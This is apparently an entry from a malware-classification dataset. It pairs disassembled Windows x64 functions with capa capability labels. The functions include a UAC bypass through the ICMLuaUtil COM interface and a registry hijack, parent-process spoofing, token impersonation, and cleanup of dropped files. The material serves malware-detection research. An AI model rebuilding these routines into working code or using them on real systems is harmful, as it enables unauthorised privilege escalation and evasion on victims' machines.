joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400166ef
Capabilities:
Get file attributes
Read file on windows

Disassembly:
jmp 0x140038ad0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2a8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
cmp qword [rbp + 0x240], 0
jne 0x140038b47
xor eax, eax
jmp 0x140038d2c
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ntdll.dll_RtlDosPathNameToNtPathName_U]
movzx eax, al
test eax, eax
jne 0x140038b6d
jmp 0x140038d17
mov dword [rbp + 0xb8], 0x30
mov qword [rbp + 0xc0], 0
mov dword [rbp + 0xd0], 0x40
lea rax, [rbp + 0x88]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xe0], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x108]
lea r8, [rbp + 0xb8]
mov edx, 0x100001
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtCreateFile]
mov dword [rbp + 4], eax
lea rcx, [rbp + 0x88]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
cmp dword [rbp + 4], 0
jge 0x140038c22
jmp 0x140038d17
mov edx, 0x18
lea rcx, [rbp + 0x138]
call fcn.140016825
mov dword [rsp + 0x20], 5
mov r9d, 0x18
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x108]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtQueryInformationFile]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140038c67
jmp 0x140038d17
mov eax, dword [rbp + 0x140]
mov qword [rbp + 0x68], rax
lea r9, [rbp + 4]
mov r8d, 4
mov edx, 0x3000
lea rcx, [rbp + 0x68]
call fcn.140016019
mov qword [rbp + 0x48], rax
cmp dword [rbp + 4], 0
jl 0x140038d0d
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov eax, dword [rbp + 0x140]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x108]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtReadFile]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140038cfa
cmp qword [rbp + 0x248], 0
je 0x140038cf8
mov rax, qword [rbp + 0x248]
mov ecx, dword [rbp + 0x140]
mov dword [rax], ecx
jmp 0x140038d0d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call fcn.1400161ae
mov qword [rbp + 0x48], 0
xor eax, eax
test eax, eax
jne 0x140038b36
cmp qword [rbp + 0x28], 0
je 0x140038d28
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
mov rax, qword [rbp + 0x48]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, reloc.OLEAUT32.dll_VariantInit
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret
Function at 0x1400166f9
Capabilities:
Bypass uac via icmluautil

Disassembly:
jmp 0x14002aac0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x14007d1da]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0x80004005
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x44], eax
mov rcx, qword [rbp + 0x1a0]
call fcn.1400162a3
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14002ab68
mov dword [rbp + 4], 0xc000000d
jmp 0x14002ac83
lea r9, [rbp + 0x88]
mov r8d, 4
lea rdx, [0x140044120]
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
call fcn.140016965
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x14002ab96
jmp 0x14002ac83
cmp qword [rbp + 0x88], 0
jne 0x14002aba5
jmp 0x14002ac83
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1a0]
mov qword [rsp + 0x20], rcx
lea r9, str.DisplayCalibrator
lea r8, str.SoftwareMicrosoftWindows_NTCurrentVersionICMCalibration
mov rdx, 0xffffffff80000002
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x50]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x14002abe8
jmp 0x14002ac83
lea r9, [rbp + 0xa8]
mov r8d, 4
lea rdx, [0x140044108]
lea rcx, str.D2E7041B_2927_42fb_8E9F_7CE93B6DC937
call fcn.140016965
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x14002ac13
jmp 0x14002ac83
cmp qword [rbp + 0xa8], 0
jne 0x14002ac1f
jmp 0x14002ac83
mov rax, qword [rbp + 0xa8]
mov rax, qword [rax]
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call qword [rax + 0x70]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jl 0x14002ac45
mov dword [rbp + 4], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
lea r9, str.DisplayCalibrator
lea r8, str.SoftwareMicrosoftWindows_NTCurrentVersionICMCalibration
mov rdx, 0xffffffff80000002
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x58]
xor eax, eax
test eax, eax
jne 0x14002ab45
cmp qword [rbp + 0x88], 0
je 0x14002aca1
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + InitCommonControls]
cmp qword [rbp + 0xa8], 0
je 0x14002acbf
mov rax, qword [rbp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xa8]
call qword [rax + InitCommonControls]
cmp dword [rbp + 0x44], 0
jne 0x14002accb
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x1400167b7
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x1400390e0
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x188], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov dword [rbp + 0x54], 0xc0000001
mov dword [rbp + 0x74], 0
mov qword [rbp + 0x98], 0
mov rax, qword [rbp + 0x1c8]
mov qword [rax], 0
mov rax, qword [rbp + 0x1d0]
mov dword [rax], 0
cmp qword [rbp + 0x1d8], 0
jne 0x140039188
call fcn.140016640
mov rax, qword [rax + 0x30]
mov qword [rbp + 0xb8], rax
jmp 0x140039196
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0xb8], rax
mov rdx, qword [rbp + 0x1b8]
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp + 0x74]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1b0]
call qword [sym.imp.ntdll.dll_NtQueryValueKey]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 0xc0000023
jne 0x1400392f8
mov eax, dword [rbp + 0x74]
mov r8d, eax
mov edx, 8
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x1400392f1
lea rax, [rbp + 0x74]
mov qword [rsp + 0x28], rax
mov eax, dword [rbp + 0x74]
mov dword [rsp + 0x20], eax
mov r9, qword [rbp + 8]
mov r8d, 2
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1b0]
call qword [sym.imp.ntdll.dll_NtQueryValueKey]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 0
jl 0x1400392dc
mov rax, qword [rbp + 8]
mov ecx, dword [rbp + 0x1c0]
cmp dword [rax + 4], ecx
jne 0x1400392d5
mov rax, qword [rbp + 8]
mov eax, dword [rax + 8]
mov r8d, eax
mov edx, 8
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
je 0x1400392cc
mov rax, qword [rbp + 8]
mov eax, dword [rax + 8]
mov rcx, qword [rbp + 8]
add rcx, 0xc
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x98]
call fcn.1400165cd
mov rax, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x98]
mov qword [rax], rcx
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 8]
mov dword [rax], ecx
mov dword [rbp + 0x54], 0
jmp 0x1400392d3
mov dword [rbp + 0x54], 0xc0000017
jmp 0x1400392dc
mov dword [rbp + 0x54], 0xc0000024
mov r8, qword [rbp + 8]
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x1400392f8
mov dword [rbp + 0x54], 0xc0000017
mov eax, dword [rbp + 0x54]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x188]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x198]
pop rdi
pop rbp
ret
Function at 0x1400167f3
Capabilities:
Enumerate files on windows

Disassembly:
jmp 0x14001f300
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x4a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xc2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4c8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x470], rax
lea rcx, [0x14007c7c9]
call fcn.140016b68
mov dword [rbp + 4], 0
mov qword [rbp + 0x48], 0
mov rcx, qword [rbp + 0x4a0]
call fcn.1400162a3
mov qword [rbp + 0x468], rax
mov rcx, qword [rbp + 0x4a8]
call fcn.1400162a3
mov rcx, qword [rbp + 0x468]
lea rax, [rcx + rax + 2]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
shl rax, 1
mov rcx, rax
call fcn.140016695
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x14001f444
mov rdx, qword [rbp + 0x4a0]
mov rcx, qword [rbp + 0x48]
call fcn.1400161f9
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x4a8]
mov rcx, qword [rbp + 0x48]
call fcn.140016983
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
je 0x14001f43b
mov r8, qword [rbp + 0x4b8]
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x4a0]
call qword [rbp + 0x4b0]
test eax, eax
je 0x14001f41c
mov dword [rbp + 4], 1
jmp 0x14001f431
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14001f3f4
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x48]
call fcn.140016c1c
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400453b0]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x470]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x488]
pop rdi
pop rbp
ret
Function at 0x14001682a
Capabilities:
Accept command line arguments

Disassembly:
jmp 0x14001f5b0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x488]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, [0x14007c8c9]
call fcn.140016b68
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
call fcn.1400161d6
mov dword [rbp + 0x64], 0
lea rcx, [rbp + 0x64]
call qword [sym.imp.ntdll.dll_RtlQueryElevationFlags]
mov eax, dword [rbp + 0x64]
and eax, 1
test eax, eax
jne 0x14001f63c
mov eax, 0xc000042c
jmp 0x14001f7ca
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jge 0x14001f657
mov eax, 0xc00000e5
jmp 0x14001f7ca
call qword [sym.imp.COMCTL32.dll_InitCommonControls]
cmp qword [0x140073c00], 0
jne 0x14001f677
call fcn.140016640
mov rax, qword [rax + 0x10]
mov qword [0x140073c00], rax
mov rax, qword [rbp + 0x450]
cmp dword [rax], 0xabcdef
jne 0x14001f6f4
mov dword [rbp + 0x64], 0
mov edx, 0x20a
lea rcx, [rbp + 0x90]
call fcn.140016825
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rbp + 0x64]
mov qword [rsp + 0x20], rcx
mov r9d, 0x104
lea r8, [rbp + 0x90]
mov edx, 1
mov rcx, rax
call fcn.140016aa0
cmp dword [rbp + 0x64], 0
jne 0x14001f6d7
mov eax, 0xc000000d
jmp 0x14001f7ca
lea rcx, [rbp + 0x90]
call fcn.140016235
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x450]
mov ecx, dword [rbp + 4]
mov dword [rax], ecx
jmp 0x14001f700
mov rax, qword [rbp + 0x450]
mov eax, dword [rax]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0x4f
jl 0x14001f710
mov eax, 0xc000000d
jmp 0x14001f7ca
cmp qword [rbp + 0x458], 0
je 0x14001f723
cmp dword [rbp + 0x460], 0
jne 0x14001f77d
mov edx, 0x20a
lea rcx, [rbp + 0x90]
call fcn.140016825
mov dword [rbp + 0x64], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rbp + 0x64]
mov qword [rsp + 0x20], rcx
mov r9d, 0x104
lea r8, [rbp + 0x90]
mov edx, 2
mov rcx, rax
call fcn.140016aa0
cmp dword [rbp + 0x64], 0
jbe 0x14001f77b
lea rax, [rbp + 0x90]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x64]
mov dword [rbp + 0x44], eax
jmp 0x14001f791
mov rax, qword [rbp + 0x458]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x460]
mov dword [rbp + 0x44], eax
lea rcx, [0x1400163ca]
call fcn.1400168ac
mov r9, rax
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 4]
call fcn.1400160ff
mov qword [0x140073c18], rax
cmp qword [0x140073c18], 0
jne 0x14001f7c8
mov eax, 0x40000015
jmp 0x14001f7ca
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret
Function at 0x140016843
Capabilities:
Delete file

Disassembly:
jmp 0x1400217d0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x738
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x136
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x758]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x708], rax
lea rcx, [0x14007cbd0]
call fcn.140016b68
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x64], 0xc0000022
mov qword [rbp + 0x88], 0
lea rcx, [rbp + 0x88]
call fcn.140016546
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x14002185a
mov eax, dword [rbp + 0x64]
jmp 0x140021991
mov dword [rbp + 0x64], 0xc0000022
mov r9d, 1
lea r8, str.Wow64LogMessageArgList
mov edx, dword [rbp + 0x738]
mov rcx, qword [rbp + 0x730]
call fcn.1400166bd
test eax, eax
jne 0x140021889
jmp 0x140021958
mov edx, 0x410
lea rcx, [rbp + 0xb0]
call fcn.140016825
mov rax, qword [0x140073c18]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.1400161f9
lea rdx, str.hui32
lea rcx, [rbp + 0xb0]
call fcn.140016af0
lea rdx, str..exe
lea rcx, [rbp + 0xb0]
call fcn.140016af0
mov r8d, dword [rbp + 0x738]
mov rdx, qword [rbp + 0x730]
lea rcx, [rbp + 0xb0]
call fcn.14001612c
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140021901
jmp 0x140021958
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140021919
jmp 0x140021958
lea rdx, [rbp + 0x44]
mov rcx, 0xfffffffffffffffe
call fcn.140016334
test eax, eax
jne 0x14002192f
jmp 0x140021958
cmp dword [rbp + 0x44], 2
jge 0x140021937
jmp 0x140021958
lea rcx, [rbp + 0xb0]
call fcn.140016bb3
test eax, eax
je 0x14002194e
mov dword [rbp + 0x64], 0
xor eax, eax
test eax, eax
jne 0x14002185a
cmp dword [rbp + 0x24], 0
je 0x140021964
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp qword [rbp + 0x88], 0
je 0x14002197b
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 4], 0
je 0x14002198e
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 0x64]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14004a000]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x708]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x718]
pop rdi
pop rbp
ret
Function at 0x14001685c
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x1400213f0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x128]
lea rcx, [0x14007cacf]
call fcn.140016b68
nop
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x44504355
je 0x140021470
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x55504355
je 0x140021470
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x43504355
je 0x140021470
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4b504355
je 0x140021470
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0xc]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov dword [rax + 0xc], 0
mov r8d, 0x20
mov rdx, qword [rbp + 0x100]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlComputeCrc32]
cmp eax, dword [rbp + 4]
je 0x1400214a9
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
cmp dword [rax + 4], 0
je 0x1400214c3
mov rax, qword [rbp + 0x100]
cmp dword [rax + 8], 0
jne 0x1400214c7
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
mov ecx, dword [rbp + 0x108]
cmp dword [rax + 4], ecx
jbe 0x1400214dd
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
mov ecx, dword [rbp + 0x108]
cmp dword [rax + 8], ecx
jbe 0x1400214f3
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x100]
mov ecx, dword [rcx + 4]
cmp dword [rax + 8], ecx
jbe 0x14002150d
xor eax, eax
jmp 0x140021518
jmp 0x140021513
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400498b0]
call fcn.1400169a6
mov rax, rdi
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001687f
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x140030b80
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x14007d5db]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000001
mov qword [rbp + 0x28], 0x30
mov edx, 0x18
lea rcx, [rbp + 0xd8]
call fcn.140016825
mov edx, 0x70
lea rcx, [rbp + 0x50]
call fcn.140016825
mov dword [rbp + 0x50], 0x70
cmp qword [rbp + 0x28], 0x400
jbe 0x140030c12
jmp 0x140030d50
mov rcx, qword [rbp + 0x28]
call fcn.140016695
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
je 0x140030d41
lea r9, [rbp + 0x28]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x140030d1e
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x140030d1e
mov dword [rbp + 0x8c], 1
mov eax, 5
mov word [rbp + 0x90], ax
mov rax, qword [0x140073c18]
add rax, 0x68
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140030d1e
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
cmp qword [rbp + 0xb8], 0
je 0x140030d35
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 0xb8]
call fcn.140016c1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x140030c03
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x140059130]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x14001691f
Capabilities:
Delete file

Disassembly:
jmp 0x14002a4b0
push rbp
push rdi
sub rsp, 0x6f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x126
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x6c8], rax
lea rcx, [0x14007d0d4]
call fcn.140016b68
mov rax, qword [0x140073c18]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400161f9
lea rcx, [rbp + 0x30]
call fcn.1400162a3
mov qword [rbp + 8], rax
lea rdx, str.kmkze.msc
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0x410
jae 0x14002a555
jmp 0x14002a55a
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x698]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.readme.html
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0x410
jae 0x14002a59f
jmp 0x14002a5a4
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x6b8]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.osk.exe
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140052920]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x6c8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x6d8]
pop rdi
pop rbp
ret
Function at 0x140016924
Capabilities:
Delete registry value

Disassembly:
jmp 0x140038e00
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x248]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140038f5a
mov dword [rbp + 0x68], 0x30
mov qword [rbp + 0x70], 0
mov dword [rbp + 0x80], 0x40
lea rax, [rbp + 0x118]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140038f4d
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140038f43
mov rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x48]
